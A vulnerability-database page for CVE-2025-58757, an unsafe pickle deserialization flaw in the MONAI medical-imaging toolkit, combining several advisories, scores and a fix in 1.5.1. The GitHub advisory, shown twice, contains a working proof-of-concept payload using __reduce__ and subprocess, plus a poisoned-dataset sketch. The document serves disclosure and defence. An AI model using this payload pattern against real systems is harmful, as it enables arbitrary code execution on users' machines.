Every CVE Search/ Get API key

CVE-2025-58757

MONAI's unsafe use of Pickle deserialization may lead to RCE

8.8 HighFix available

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.65%Up 0.6 points since Sep 9, 2025
90%50%10%1%

What each source reports

CVE List Score used 8.8

MONAI's unsafe use of Pickle deserialization may lead to RCE

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Record
CVE-2025-58757
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
EUVDEUVD-2025-27189 8.8

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Record
EUVD-2025-27189
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-p8cm-mm2v-gwjm 8.8

Monai: Unsafe use of Pickle deserialization may lead to RCE

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Record
GHSA-p8cm-mm2v-gwjm
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
NVD 8.8

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Record
CVE-2025-58757
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSV 8.8

MONAI's unsafe use of Pickle deserialization may lead to RCE

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Record
CVE-2025-58757
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVGHSA-p8cm-mm2v-gwjm 8.8

Monai: Unsafe use of Pickle deserialization may lead to RCE

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  
#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Record
GHSA-p8cm-mm2v-gwjm
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-502
Updated
2026-11-02
OSVPYSEC-2025-142 8.8

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.0, the pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. The deserialization may lead to code execution. As of time of publication, no known fixed versions are available.

Record
PYSEC-2025-142
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
monai
PyPI
through 1.5.0
1.5.1
monai
PyPI
before 1.5.1, plus listed versions
0.0.10.1.00.2.00.3.00.4.0
Show 35 moreShow less
0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc1
1.5.1
monai
PyPI
before 1.5.1rc1, plus listed versions
0.0.10.1.00.2.00.3.00.4.0
Show 35 moreShow less
0.5.00.5.10.5.20.5.30.6.00.7.00.8.00.8.10.9.00.9.11.0.01.0.11.1.01.2.01.3.01.3.11.3.21.3.2rc11.3.3rc11.4.01.4.0rc11.4.0rc101.4.0rc111.4.0rc121.4.0rc21.4.0rc31.4.0rc41.4.0rc51.4.0rc61.4.0rc71.4.0rc81.4.0rc91.4.1rc11.5.01.5.0rc1
1.5.1rc1

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-58757 is a high vulnerability (CVSS 8.8) in Monai Medical Open Network For Ai, published September 8, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.65%, the 51st percentile. Fixed in monai 1.5.1.

References

MoveEnter Open